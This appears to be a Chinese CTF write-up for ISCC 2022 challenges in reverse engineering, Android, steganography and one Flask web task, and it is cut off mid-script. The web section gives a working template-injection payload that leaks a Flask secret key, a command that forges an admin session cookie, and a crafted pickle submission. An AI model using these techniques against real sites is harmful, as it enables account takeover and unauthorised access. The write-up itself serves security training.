a=1230193475 , b=2068010842, c=1262962245, d=1512918617
a=1095258183, b=1146105171, c=1128352594,  d=1447446397

而这8个数是上面sub_413BDB处理的结果,所以关键就看这个函数了。

file

看着是把hex字符串转成十进制的,所以把上面8个数转成十六进制就能拿到flag。

a=1230193475 ISCC
b=2068010842 {CWZ
c=1262962245 KGFE
d=1512918617 Z-NY
a=1095258183 AHPG
b=1146105171 DP-S
c=1128352594 CAKR
d=1447446397 VFG}

ISCC{CWZKGFEZ-NYAHPGDP-SCAKRVFG}

VigenereLike

ida打开,好多C++ STL的东西,改下变量名,方便辨认一点。

file

大概就是id通过sub_4A5A变成v25v25通过sub_4CE4变成v24v24v20比较来校验id

但是这俩变换函数看了下,一堆+32+80的,然后ida的类型检测还不对,搞不明白在干啥,那就先看下面加密flag主体的。

感觉像是在做substr(flag, '{', '}')这种操作,又或者是判断格式?

file

算了倒着看吧,最后是sub_29C9出的结果v24和一个base64串比较,进去看发现俩函数调用,第一个sub_27C6函数处理上面传来的flag,存成v5,然后调用sub_2569加密。

file

sub_27C6,有68abcdefg...的64字节串,那不就是base64嘛。

file

file

那就去看sub_2569,先是调用sub_2447去用flag和ISCCYES生成v21

file

结合题目名字很容易看出来是在用ISCCYES来重复填充生成长度和flag一样的维吉尼亚密钥。

file

然后下面遍历flag,每个字符符合字母数字空格的都用sub_23D9搞个数,然后相同位置的密钥那边也用sub_23D9搞个数,加起来当下标在unk_10280里取值,下标越界就模一下。不是字母数字空格的直接抄回去。

file

那就再看看sub_23D9函数,实际上就是在unk_10280里面找目标字符的下标。

file

那么这时候就得找unk_10280啥时候被初始化了,因为这个值默认是空的,xref一下,在sub_343C里面发现初始化为[a-zA-Z0-9 ]

file

file

那就写代码,看看维吉尼亚加密前的base64串是啥。

result = bytearray(b"rJFsLqVyFKZek5gJCOWWA6MiprLmwlquH9mmCrv=")
key = b"ISCCYES"
base = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "

for i in range(len(result)):
    if base.find(result[i]) != -1:
        result[i] = base[(base.index(result[i]) - base.index(key[i % len(key)]) + len(base) * 2) % len(base)]
print(result)

from base64 import b64decode

result = bytearray(b64decode(result))
print(result)

解出来还是没有flag的形状,那就接着看上面的sub_2914函数。

file

主要就是在循环异或1234567

file

那接着改代码。

result = bytearray(b"rJFsLqVyFKZek5gJCOWWA6MiprLmwlquH9mmCrv=")
key = b"ISCCYES"
base = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "

for i in range(len(result)):
    if base.find(result[i]) != -1:
        result[i] = base[(base.index(result[i]) - base.index(key[i % len(key)]) + len(base) * 2) % len(base)]
print(result)

from base64 import b64decode

result = bytearray(b64decode(result))
print(result)

key = [1,2,3,4,5,6,7]
for i in range(len(result)):
    result[i] ^= key[i % len(key)]
print(result)

成功拿到感觉很像flag的东西,但是交上去不对。

file

突然想起来之前还有个id这玩意,回头看一下,似乎是在末尾加上了id,那就一个一个删,试过去就完事,在删除TIPO后拿到flag。

file

ISCC{Reverse-iEvslhmM-UeNBeDtT}

Bob's Code

ida打开,发现没啥混淆。

file

先去看sub_4116C7函数,看着很像base64那种3*8=4*6的分割。

file

去看了下off_436000常量,也确实是base64的标准码表。

file

所以基本上可以确定是这个函数是在base64编码了。

为了保险起见,用CFF把动态基址给关咯,然后x96调试走起来。

输入123456,内存中数据变成MTIzNDU2,成功确认是base64编码。

file

然后来看下一个函数sub_411389,看着也是base64,但是码表有处理过。

file

原始码表也不一样。

file

码表的变换肉眼可见的是交换一部分大小写,所以实际上码表是ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_

不过根据调试情况,最后编码出来的补位字符是.而不是=

file

回头看代码发现端倪。

file

所以arg[3]!=0的时候补位是.

再看sub_411023函数,就是一小段变换操作。

file

实际上归纳一下就是在a4处插入一个字符a3然后返回。

比如说第一次调用是在第0位插入.,第二次调用是在第22位插入.

file

动态调试结果也确实证实如此:

file

不过第二次的时候咱们的测试用例不够长了,那咱就换个长一点的1234567890123456789012

file

file

file

file

然后来看最后的sub_4116E0函数,实际上就是把[a-zA-Z]a2

file

那么这个调用就是+2

file

调试证明确实如此。

file

所以直接cc里面走一波逆向步骤就完事。

file

ISCC{QHSAkN0O-OAwE36Di-jCPtufcs}

Mobile

MobileA[一血]

直接jadx打开。

file

可以明显看出来,主要就是Jformat函数以及里面套的Jlast函数,而根据Jformat里面的分割条件,应该是把形如ISCC{abcd..._qwer...}的flag分成两部分abcd..._Jformat处理,qwer...Jlast处理。

先看前半部分的处理代码,经典的AES/CBC/PKCS7Padding加密,keyiv都确定了,所以可以直接用内置的c解出m,题中c经过两次base64得到enRwWXBvbVVRbWxhWWlkK3Q5KzA1Zz09keyiv也有一次base64,所以直接工具一把梭。

file

再看后半部分的判断代码。

file

md5之后进行了一次base64,然后来了一轮映射,所以把映射规律反过来然后解一下base64就能拿到md5,再去在线查一下就能拿到明文。

import base64

a = b"=Lr8ZoM=wQU3OtSxJNg6fR5N"
b = bytearray(bytes(24))

z = False
i = 0
for i2 in range(5, -1, -1):
    if not z:
        for i3 in range(3, -1, -1):
            b[i3 * 6 + i2] = a[i]
            i += 1
        z = True
    else:
        for i4 in range(0, 4):
            b[i4 * 6 + i2] = a[i]
            i += 1
        z = False
print(base64.b64decode(b.decode()).hex())
# 7fa3b767c460b54a2be4d49030b349c7

经查明文是no

所以flag拼接一下就行。

ISCC{o9i87yvg$%TYHJ_no}

MobileB[一血]

直接jadx打开。

file

可以看出主要的验证逻辑就是Jformat里面调用的C原生函数stringFromJNI,然后经过a.a函数处理就得到了5240524052012052013402402401230240523051230

那就先看a.a的逻辑。

file

是一个看着有点复杂的运算函数,算出每个字母(因为有>90-32的处理)的对应值后在末尾补0然后拼接。

因为懒得反向搞出运算函数了,所以直接上xp去hook把26个字母全跑一遍拿到映射关系就完事。

import com.highcapable.yukihookapi.YukiHookAPI
import com.highcapable.yukihookapi.annotation.xposed.InjectYukiHookWithXposed
import com.highcapable.yukihookapi.hook.factory.method
import com.highcapable.yukihookapi.hook.log.loggerI
import com.highcapable.yukihookapi.hook.xposed.proxy.YukiHookXposedInitProxy

@InjectYukiHookWithXposed
class Main : YukiHookXposedInitProxy {
    override fun onHook() = YukiHookAPI.encase {
        loadApp("com.example.mobileb") {
            "$packageName.MainActivity".hook {
                injectMember {
                    method {
                        name("onCreate")
                    }
                    afterHook {
                        findClass("$packageName.a").instance!!.method {
                            name("a")
                        }.get().run {
                            for (i in "a".."z") {
                                loggerI(tag = "WankkoRee", msg = "$i: " + call("$i") as String)
                            }
                        }
                    }
                }
            }
        }
    }
}

file

a: 50
b: 10
c: 510
d: 20
e: 520
f: 120
g: 5120
h: 30
i: 530
j: 130
k: 5130
l: 230
m: 5230
n: 1230
o: 51230
p: 40
q: 540
r: 140
s: 5140
t: 240
u: 5240
v: 1240
w: 51240
x: 340
y: 5340
z: 1340

所以5240524052012052013402402401230240523051230对应的就是uuefezttntmo

那么再去so层看看stringFromJNI函数的逻辑。

file

可以看出主要就是myjni函数,但是点进去直接懵了,300+行的代码,这还逆个鸡儿。

于是果断关掉ida,继续去hook找规律了,也尝试先遍历26字母,但是没输出东西,一度怀疑是hook出问题了调用不到C原生函数。

file

把遍历目标改成大写试试,成功出来数据。

file

发现也是个映射函数。保险起见再多举几个例子看看,万一不是一一映射是递推映射就尴尬了。

file

测试了下,真的是递推映射...AB的映射不是A映射+B映射。

不过也问题不大,确定了第一位就可以确定第二位,依此类推还是可以爆破的,写个hook脚本爆破。

import com.highcapable.yukihookapi.YukiHookAPI
import com.highcapable.yukihookapi.annotation.xposed.InjectYukiHookWithXposed
import com.highcapable.yukihookapi.hook.factory.method
import com.highcapable.yukihookapi.hook.log.loggerI
import com.highcapable.yukihookapi.hook.xposed.proxy.YukiHookXposedInitProxy

@InjectYukiHookWithXposed
class Main : YukiHookXposedInitProxy {
    override fun onHook() = YukiHookAPI.encase {
        loadApp("com.example.mobileb") {
            "$packageName.MainActivity".hook {
                injectMember {
                    method {
                        name("onCreate")
                    }
                    afterHook {
                        findClass("$packageName.a").instance!!.method {
                            name("a")
                        }.get().run {
                            for (i in "a".."z") {
                                loggerI(tag = "WankkoRee", msg = "$i: " + call("$i") as String)
                            }
                        }
                        //5240 u
                        //5240 u
                        //520 e
                        //120 f
                        //520 e
                        //1340 z
                        //240 t
                        //240 t
                        //1230 n
                        //240 t
                        //5230 m
                        //51230 o
                        method {
                            name("stringFromJNI")
                        }.get(instance).run {
                            val tgt = "UUEFEZTTNTMO"
                            var flag = ""
                            for (i in 0..11) {
                                for (j in "A".."Z") {
                                    if (call("$flag$j") as String == tgt.substring(0, i+1)) {
                                        flag += j
                                        loggerI(tag = "WankkoRee", msg = flag)
                                        break
                                    }
                                }
                            }
                        }
                        //ISCC{FLAGISPURXVS}
                    }
                }
            }
        }
    }
}

file

成功拿下。

ISCC{FLAGISPURXVS}

MobileC

写这题的那段时间没什么空打比赛,结果放题了第二天抽空上去一看,这么简单才3个人解?第一个人还是放题了八个多小时才解的,那我岂不是痛失一血?

拿到题目一看,check的入口在a.a

file

a.a看下,逻辑也挺简单的,Myjni.GetKey生成key,固定的iv,flag当内容去AES/CBC/PKCS5Padding加密,然后结果base64一波再调用Myjni.GetStr,得到加密完成的flag。

file

那么实际上就是看Myjni.GetKeyMyjni.GetStr了,看类名都知道肯定是俩native函数了,过去一看,果不其然。

file

但是用ida打开so一看,代码逻辑挺复杂的,横向比对了下,四个架构里面armeabi-v7a的代码是最容易阅读的,但还是不想看,毕竟200+的行数摆在那。

于是又打算hook一波,先调用GetKey看看是不是固定的key,如果是根据某些情况变化的话那就麻烦了,虽然几乎不可能。

loadApp("com.example.mobilec") {
    "$packageName.MainActivity".hook {
        injectMember {
            method {
                name = "onCreate"
            }
            afterHook {
                val Myjni = findClass("$packageName.MyJNI.Myjni").instance!!
                val GetKey = Myjni.method {
                    name = "GetKey"
                }.get()
                val key = GetKey.call() as String
                loggerI("WankkoRee", "key: $key")
            }
        }
    }
}

连续打开几次发现key都是一样的,那就放心了。

file

那就去生成ivi@S&88CcC.base一下就是aUBTJjg4Q2NDLg==,然后写个加密的逻辑去随便编几个flag复现一下。

val iv = "aUBTJjg4Q2NDLg=="
val secretKeySpec = SecretKeySpec(key.toByteArray(), "AES")
val ivParameterSpec = IvParameterSpec(iv.toByteArray())
val cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec)

"1784534567846876".also { flag ->
    val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
    GetStr.call(base64, flag)
}
"2453763877893735".also { flag ->
    val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
    GetStr.call(base64, flag)
}
"3954635787837853".also { flag ->
    val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
    GetStr.call(base64, flag)
}
"4781254237865742".also { flag ->
    val base64 = Base64.encodeToString(cipher.doFinal(flag.toByteArray()), 2)
    GetStr.call(base64, flag)
}
"$packageName.MyJNI.Myjni".hook {
    injectMember {
        method {
            name = "GetStr"
        }
        afterHook {
            loggerI("WankkoRee", "GetStr("${ args[0] }", "${ args[1] }") = $result")
        }
    }
}

file

这规律感觉显而易见了...以2453763877893735作为flag为例,这不就是栅栏编码吗?

file

然后再对比下其他几个数据,明文flag大概率是用来当下标顺序用的,具体算法不想了解了,因为已经看出来能爆破了。

再去看一下目标密文Mj39Ctj=Zh7VceP=Tx1S+kzUDCiwkhx=MFDprlM=J88V+e8=的分组情况:

file

那么第三组的Tx1S+kzU肯定在明文base里是第一组没跑了,毕竟6组里面就它的结尾不是=,而base64里=只能在结尾。

那就还剩下5轮的直接爆破呗。

val result = "Mj39Ctj=Zh7VceP=Tx1S+kzUDCiwkhx=MFDprlM=J88V+e8="
val a1 = 2
for (a2 in 0..5) {
    if (a2 == a1) continue
for (a3 in 0..5) {
    if (a3 == a1 || a3 == a2) continue
for (a4 in 0..5) {
    if (a4 == a1 || a4 == a2 || a4 == a3) continue
for (a5 in 0..5) {
    if (a5 == a1 || a5 == a2 || a5 == a3 || a5 == a4) continue
for (a6 in 0..5) {
    if (a6 == a1 || a6 == a2 || a6 == a3 || a6 == a4 || a6 == a5) continue

    var flag = ""
    for (i in 0..7)
        flag += "${ result[8*a1+i] }${ result[8*a2+i] }${ result[8*a3+i] }${ result[8*a4+i] }${ result[8*a5+i] }${ result[8*a6+i] }"
    flag = flag.substringBeforeLast("====")
    loggerI("WankkoRee", "r: $a1$a2$a3$a4$a5$a6, base64: $flag")
    val flagB = Base64.decode(flag, 2)
    try {
        val cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
        cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec)
        val f = cipher.doFinal(flagB)
        loggerI("WankkoRee", "flag: ${String(f)}")
    } catch (_: Exception) {}
}}}}}

成功拿下。

file

ISCC{native_351264_67554656788sada}

擂台题

Misc

666

拿到附件,半个压缩包带密码,猜测是为密码,直接密码标志位改00解压。

file

得到另一个带密码的压缩包和一张图片。

file

图片是jpg的,看了下文件没啥异常,所以猜测是常见的隐写里的steghide,默认密码123456走一波,确实出来了个high.png文件。

./steghide extract -sf ./src_sec.jpg -p 123456

file

打开日常报错。

file

随便改改高度,发现!@#$%678()_+,应该是压缩包密码,解压得到一个流量包。

file

流量包粗略看了下有几条是http的,里面有一条urlflag字样,猜测是要去这个url指向的页面找。

file

打开发现页面主体部分的gif有一闪而过的字。

file

保存下来逐帧看看,找到SE1ERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==pQLKpP/EPmw301eZRzuYvQ==

file

file

file

第一段解base64得到HMDEkey:852 987456321 98423 98423 REALkey:xSxx,感觉像是小键盘连线,试了一下确实是,连出来ISCC

后两段用ISCCkey去解AES/ECB加密,得到flag。

file

ISCC{lbwmeiyoukaig}

扫!

这题解压之后发现给了几万个文件夹,每个文件夹里大概有1~3个文件,猜测应该是1个文件夹对应1个字节,那么1个字节能用1~3个符号表示的话,感觉很像八进制,而二维码的mask机制正好有8种,那就冲呗。

因为没找到能直接提取二维码所用的mask类型,所以直接去QRazyBox在线生成8个情况然后用cv2去匹配得了。

先随便选一张二维码,把矢量放大一下,不然QRazyBox导入的时候解析不了。

file

导入后选择了右上角的mask区,因为待会写代码方便一点。发现二维码用的容错等级是L,掩码类型是1

file

后续又导了几张发现容错等级一直是L,而掩码类型一直在变,所以直接生成8个掩码类型的色块数据,然后写代码匹配就完事。

import os
import cv2

data = bytearray(31091)
for i in os.listdir("./challs"):
    datas = ""
    for j in os.listdir(f"./challs/{i}"):
        name = f"./challs/{i}/{j}"
        image = cv2.imread(name)
        image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
        top_right = [x // 255 for x in image[8][17:25]]
        if top_right == [0, 0, 1, 1, 1, 0, 1, 1]:
            mask = 0
        elif top_right == [0, 0, 0, 0, 1, 1, 0, 0]:
            mask = 1
        elif top_right == [0, 1, 0, 1, 0, 1, 0, 1]:
            mask = 2
        elif top_right == [0, 1, 1, 0, 0, 0, 1, 0]:
            mask = 3
        elif top_right == [1, 1, 0, 1, 0, 0, 0, 0]:
            mask = 4
        elif top_right == [1, 1, 1, 0, 0, 1, 1, 1]:
            mask = 5
        elif top_right == [1, 0, 1, 1, 1, 1, 1, 0]:
            mask = 6
        elif top_right == [1, 0, 0, 0, 1, 0, 0, 1]:
            mask = 7
        else:
            mask = None
            print(top_right)
        datas += str(mask)
    print(i, datas)
    data[int(i)] = int(datas, 8)
print(data)

发现数据应该是rar压缩包。

file

写文件成功得到压缩包,里面个带密码的图片。

file

WinRAR直接空密码解压即可得到图片。

file

文件尾发现提示。

file

其中IN的大写联想到一个小众隐写工具ImageIN,拖进去发现真就是这玩意的隐写...

file

flag{S0_Many_qR}

弱雪

这题刚开始打算挨个文件解base64,但是试了一下没啥结果,全是乱码。然后偶然排了下序发现文件的修改时间缺失了1秒左右,然后这一秒前后的文件数量又勉强还算对半,所以猜测可能是按时间去二进制,于是写代码。

file

import os

data = bytearray(1936)

for i in os.listdir("./Misc-2022.05.05"):
    t = os.path.getmtime(f"./Misc-2022.05.05/{i}")
    if t < 1651438000:
        data[int(i[:-4])] = 0x30
    else:
        data[int(i[:-4])] = 0x31
print(bytes.fromhex(hex(int(data.decode(), 2))[2:]))

成功得到一个应该是7z压缩包的数据。

file

尝试写文件成功拿到压缩包,里面是个文本。

file

打开发现一堆空白字符,结合题目名字弱雪猜测应该是密码为弱口令的snow隐写。

file

随便搁本地找个字典开始爆破。

import os

with open("D:/CTF/tools/web/最新网站后台密码破解字典.txt", 'r') as f:
    for passwd in f:
        try:
            with os.popen(f'D:/CTF/tools/misc/snow -C -p "{passwd.strip()}" "D:/CTF/iscc2022/vs/MISC/弱雪/snow.txt"') as cmd:
                rst = cmd.read()
                if rst.find("ISCC") >= 0 or rst.find("iscc") >= 0 or rst.find("flag") >= 0:
                    print(rst)
        except Exception as e:
            ...

file

flag{P6pbgN53q7l5D/ffTY2jH3uJVTQ7}

真扫yoo

拿到附件发现一堆条形码。

file

其中有个叫start.png的,其解码后的数据指向了另一个文件名,不过末尾多了一字节,然后这个文件解码后的数据又指向了另一个文件名,但这回长度刚刚好。

file

file

file

那就写脚本按照指向扫一遍看看有啥规律。

import os
import cv2
import pyzbar.pyzbar as pyzbar

name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
    image = cv2.imread(f"chall/{name}.png")
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
    texts = pyzbar.decode(gray)
    assert len(texts) == 1
    name = texts[0].data.decode("utf-8")
    print(i, name)
    if len(name) == 8:
        name = name[:-1]
    elif len(name) == 7:
        ...
    else:
        raise Exception()
    i += 1

file

看着有点规律,似乎文件名全带01,然后文件名长短要么7字节要么8字节,那就俩都提取看看呗。

import os
import numpy as np
import cv2
import pyzbar.pyzbar as pyzbar

data1 = ""
data2 = ""
name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
    image = cv2.imread(f"chall/{name}.png")
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
    texts = pyzbar.decode(gray)
    assert len(texts) == 1
    name = texts[0].data.decode("utf-8")
    print(i, name)
    if name.find("1") != -1:
        data2 += "1"
        print(i, 1)
    elif name.find("0") != -1:
        data2 += "0"
        print(i, 0)
    if len(name) == 8:
        name = name[:-1]
        data1 += "1"
    elif len(name) == 7:
        data1 += "0"
    else:
        raise Exception()
    i += 1
print(data1)
print(data2)

data1 = bytes.fromhex(hex(int(data1, 2))[2:])
print(data1)
data2 = bytes.fromhex("0"+hex(int(data2, 2))[2:])
print(data2)

文件名长短出来的数据看不出东西,试试看调换一下01定义看看。文件名包含出来的好多连贯的0000...1111...,感觉是画图,而且是前625的文件名都有包含那不就是25*25的图嘛。

file

file

调换一下01然后画一下另一组数据的黑白图看看。

import os
import numpy as np
import cv2
import pyzbar.pyzbar as pyzbar

data1 = ""
data2 = ""
name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
    image = cv2.imread(f"chall/{name}.png")
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
    texts = pyzbar.decode(gray)
    assert len(texts) == 1
    name = texts[0].data.decode("utf-8")
    print(i, name)
    if name.find("1") != -1:
        data2 += "1"
        print(i, 1)
    elif name.find("0") != -1:
        data2 += "0"
        print(i, 0)
    if len(name) == 8:
        name = name[:-1]
        data1 += "0"
    elif len(name) == 7:
        data1 += "1"
    else:
        raise Exception()
    i += 1
print(data1)
print(data2)

data1 = bytes.fromhex(hex(int(data1, 2))[2:])
print(data1)

data2na = np.ones((25, 25), dtype="uint8")
for i in range(25):
    for j in range(25):
        data2na[i][j] = int(data2[i * 25 + j]) * 255
data2img = cv2.cvtColor(data2na, cv2.COLOR_GRAY2RGB)
cv2.imwrite("data2.png", data2img)

出来一个rar一个二维码。

file

那就加一行保存rar的代码,然后扫二维码发现扫不了,好像是黑白写反了还是没加边框,反正都改改。

import os
import numpy as np
import cv2
import pyzbar.pyzbar as pyzbar

data1 = ""
data2 = ""
name = "start"
i = 1
while os.path.exists(f"chall/{name}.png"):
    image = cv2.imread(f"chall/{name}.png")
    gray = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
    texts = pyzbar.decode(gray)
    assert len(texts) == 1
    name = texts[0].data.decode("utf-8")
    print(i, name)
    if name.find("1") != -1:
        data2 += "1"
        print(i, 1)
    elif name.find("0") != -1:
        data2 += "0"
        print(i, 0)
    if len(name) == 8:
        name = name[:-1]
        data1 += "0"
    elif len(name) == 7:
        data1 += "1"
    else:
        raise Exception()
    i += 1
print(data1)
print(data2)

data1 = bytes.fromhex(hex(int(data1, 2))[2:])
print(data1)
with open("rar.rar", 'wb') as f:
    f.write(data1)

data2na = np.full((35, 35), 255, dtype="uint8")
for i in range(25):
    for j in range(25):
        data2na[i+5][j+5] = (1 - int(data2[i * 25 + j])) * 255
data2img = cv2.cvtColor(data2na, cv2.COLOR_GRAY2RGB)
cv2.imwrite("data2.png", data2img)

成功输出压缩包和二维码,二维码解码得到PaSsW0rdYouNeverkn0w,用来当压缩包密码成功解压出flag。

file

ISCC{c0de39&c0de128awa}

Web

Melody

随便输入账号密码登录,发现确实有登录状态,看了下有个sessioncookie,后端是Flask,那很难不联想到session伪造

file

看下session的存储数据,确实是默认的。

file

但是要伪造就得搞到密钥,那就模板注入呗。先找找有没有哪里能传参的,查看源码,发现/info链接。

file

打开提示需要限定Melody浏览器。

file

修改UA后发现提示去/info/?Melody=

file

那就/info/?Melody={{config}}冲一波,成功拿到密钥meldoy-is-so-cute-wawawa!

file

那现在就得想想该伪造成谁了,去登录一下发现用户名是admin的时候不让登录,那就伪造admin吧。

py -3 ./flask_session_cookie_manager3.py encode -s "meldoy-is-so-cute-wawawa!" -t "{'username':'admin'}"

得到新的sessioneyJ1c2VybmFtZSI6ImFkbWluIn0.YoundA.6dcwKzVcafUhOMJIeyjIFnLC8AQ

file

拿去改cookie

file

刷新发现假flag。

file

查看源码发现有个指向py文件的链接。

file

# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask, Response,request

class register:
    def __init__(self,name,password):
        self.name = name
        self.password = password

    def __eq__(self, other):
        return type(other) is register and self.name == other.name and self.password == other.password

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module[0:8] == '__main__':
            return getattr(sys.modules['__main__'],name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def find(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/therealflag', methods=['GET','POST'])
def realflag():
    if request.method == 'POST':
        try:
            data = request.form.get('melody')
            if b'R' in base64.b64decode(data):
                return 'no reduce'
            else:
                result = find(base64.b64decode(data))
                if type(result) is not register:
                    return 'The type is not correct!'
            correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
            if correct:
                if session['username'] == 'admin':
                    return Response(read('./flag.txt'))
                else:
                    return Response("You're not admin!")
        except Exception as e:
            return Response(str(e))

    test = register('admin', '123456')
    data = base64.b64encode(pickle.dumps(test)).decode()
    return Response(data)

看了下有个therealflag路由,需要接受POST请求,然后传入base64形式的melody,内容是register("melody", "hug")类序列化结果。

那就写个脚本去序列化一下。

import base64
import pickle

class register:
    def __init__(self,name,password):
        self.name = name
        self.password = password

    def __eq__(self, other):
        return type(other) is register and self.name == other.name and self.password == other.password

print(base64.b64encode(pickle.dumps(register("melody","hug"))))

file

得到gASVQgAAAAAAAACMCF9fbWFpbl9flIwIcmVnaXN0ZXKUk5QpgZR9lCiMBG5hbWWUjAZtZWxvZHmUjAhwYXNzd29yZJSMA2h1Z5R1Yi4=,去传参,得到flag。

file

ISCC{2022_melody_secrets}

Reverse

Encode

直接ida打开,发现主要就是用encode函数带上key加密,然后结果和answer比对。

file

所以去看encode函数就完事。

file

先是for了一次进行3行异或,然后又for了一次进行1行异或,最后for一次进行字节减,然后将key的几个值进行n=p*qphi=(p-1)*(q-1)d=invert(e, phi)c=pow(m, e, n)的经典RSA加密。

那就直接写脚本解就完事。

answer = bytearray(b'\x23\x4a\x07\x2b\x1d\x06\x3f\x36\x36\x2b\x05\x07\x06\x39\x02\x06\x38\x21\x4b\x1a\x2d\x2d\x39\x02')
key = bytearray([7, 0xb, 0xd, 0, 0, 0, 0, 0])

n = 0x18

key[3] = key[1] * key[0]  # 0x4d
key[4] = (key[1]-1) * (key[0]-1)  # 0x3c
key[5] = 0x25  # invert(key[2], key[4])

for i in range(n):
    answer[i] = pow(answer[i], key[5], key[3])
for i in range(n):
    answer[i] += 70
for i in range(n):
    answer[i] ^= 0x3f
for i in range(n//2):
    answer[i] ^= answer[n - i - 1]
    answer[n - i - 1] ^= answer[i]
    answer[i] ^= answer[n - i - 1]
for i in range(n):
    answer[i] ^= 0xf
print(answer)

file

ISCC{PWN_IS_REALLY_HARD}

easyre

ida打开,发现无法正常反编译,于是记一下函数入口点4011E0,转战ghidra

file

大概看了下,就是用key加密flag三次然后和目标常量比对。(变量名美化了,不然ghidra没有关联高亮比较难顶)

file

先来看第一个加密函数,实际上就是那个循环有用,取三余作key的下标异或。

file

第二个函数也差不多,只不过key下标来点偏移,然后异或变成了字节加。

file

第三个也是key下标再加点偏移,然后运算方式又回到了异或。

file

所以写个脚本逆就完事。

answer = bytearray(b"^<L^<LX:LX.MJ.MJ9PJ9VF$VF$T@$T];")
key = b"enc!@#key"

for i in range(0x20):
    answer[i] ^= key[i%3+6]
for i in range(0x20):
    answer[i] -= key[i%3+3]
for i in range(0x20):
    answer[i] ^= key[i%3]
print(answer.decode())

得到flag。

file

ISCC{qwqqwqwqqwereerereeroiooioiooipp}

Self-Reverse

先是尝试性运行了下,发现程序给的自己的代码应该是忽悠人的。

file

ida打开看看,发现就几个函数,里面都是一堆运算操作,猜测应该是类似upx壳。

file

那就直接附加进程看看情况。先Ctrl+F7几次,从系统调用堆栈出来,到主程序代码块。

file

往下找到开始判定的代码,看着感觉是调用了个len函数?

file

输入ISCC{0123}看下rax寄存器会是啥。

file

确实是10,那这里就是判断输入长度要是0x16呗,那就重新编一个长度是0x16的输入ISCC{0123456789abcdef}继续调试,成功到达下一个判断点,看着应该是sub(0, 5)一下输入然后equals一下ISCC{,那反正咱的输入已经满足要求了,就继续看。

file

有点复杂,直接上面开头p一下然后F5看伪代码得了,确实是在判断开头结尾,满足条件后进入if(v35)

file

开头先是把len(flag)存在v36里(-160偏移是flag),然后sub(5,v36-6)一下,取出中间部分,存到-320偏移里,接着一个用-36偏移当作ifor(i=0;i<=15;i++)循环,大概意思就是把(i + 1) % 16移到i ^ 13。然后一个用-40偏移当作ifor(i=0;i<=15;i++)循环,大概意思就是把[i]赋值为3 * [i] + 1

file

写个python代码模拟一下逻辑看看,和调试结果比较一下。

flag = "0123456789abcdef"
a = bytearray(16)
for i in range(16):
    a[i ^ 13] ^= ord(flag[(i + 1) % 16])
print(a)
for i in range(16):
    a[i] = (3 * a[i] + 1) % 256
print(a.hex())

file

file

比对发现结果一样,那就接着看下面的逻辑,直接就开始判断加密结果了。

file

那就直接写逆向的代码呗,%256那个操作爆破就行,然后剩下的换位反向换一下就完事。

target = [250, 12, 229, 250, 145, 157, 100, 166, 108, 250, 247, 145, 12, 12, 99, 142]
flag = bytearray(16)
for i in range(16):
    for j in range(128):
        if (3 * j + 1) % 256 == target[i ^ 13]:
            flag[(i + 1) % 16] = j
print(f"ISCC{{{flag.decode()}}}")

file

ISCC{LYY/vSy0R407!YSS}

Mobile

Mobile Analysis

直接jadx打开,check点肯定是judge没跑了。

file

大概就是先base64编码,然后[0:16]b.a加密然后比对bGFtkaXNwjSVNDQ3[16:32][32:]b.b去校验。

先看b.a,实际上就是定长3分割,然后打散。

file

那么给密文分割一下就是bGF tka XNw j SVN DQ3,其中第4段是原来的第6段,也就是最后一段,所以长度不固定。

那么按原位排回去就是SVNDQ3tkaXNwbGFj,解base64得到ISCC{displac

然后看b.b函数,数据流有点怪,大致就是a的值实际上就是c.a的结果,所以可以直接得到。然后a作为keyqws871bz73msl9x8作为iv,对b进行AES/CBC/PKCS5Padding加密,最后结果base64编码一下等于unj2Cn3dS9Ya1LDFPlA+eA==

file

那先去看看c.a结果是啥。

file

算了还是直接hook一下看结果吧,不想还原算法了。

loadApp("com.example.mobileanalysis") {
    "$packageName.MainActivity".hook {
        injectMember {
            method {
                name("onCreate")
            }
            afterHook {
                findClass("$packageName.c").instance!!.method {
                    name("a")
                }.get().run {
                    loggerI(tag = "WankkoRee", msg = call() as String)
                }
            }
        }
    }
}

file

所以aJ0tpzHRuhTQpLauS

那么带入去解b,得到otG28PYN8CtG

file

那么最后就是把ab还原成flag了,那就去看a.aa.b

file

大概意思就是找到每一字节在码表的位置p,然后映射成(5 * p + 8) % 64

但是这个映射是不太好直接逆向的,因为5*p+8最大可能到323,都%64好几轮了,根据结果无法100%确定原始字符的位置p

那就爆破呗,找到每个字节%64的时候商到底是几就完事。

dicta = "cdeEFGfghijkKLHIJNO9/PQYqrsMnoRSTablBCDtZ012UVWXpyzA345umvwx678="
a = "J0tpzHRuhTQpLauS"
for i in a:
    n = 0
    while (dicta.index(i) + 64 * n - 8) % 5 != 0:
        n += 1
    p = (dicta.index(i) + 64 * n - 8) // 5
    print(dicta[p], end="")
print("")

dictb = "cdYqrsMneEFwxg78=GfKlLHRSTabBCDtZ012UhiQok6VWmXpjIJNO9/PyzA345uv"
b = "otG28PYN8CtG"
for i in b:
    n = 0
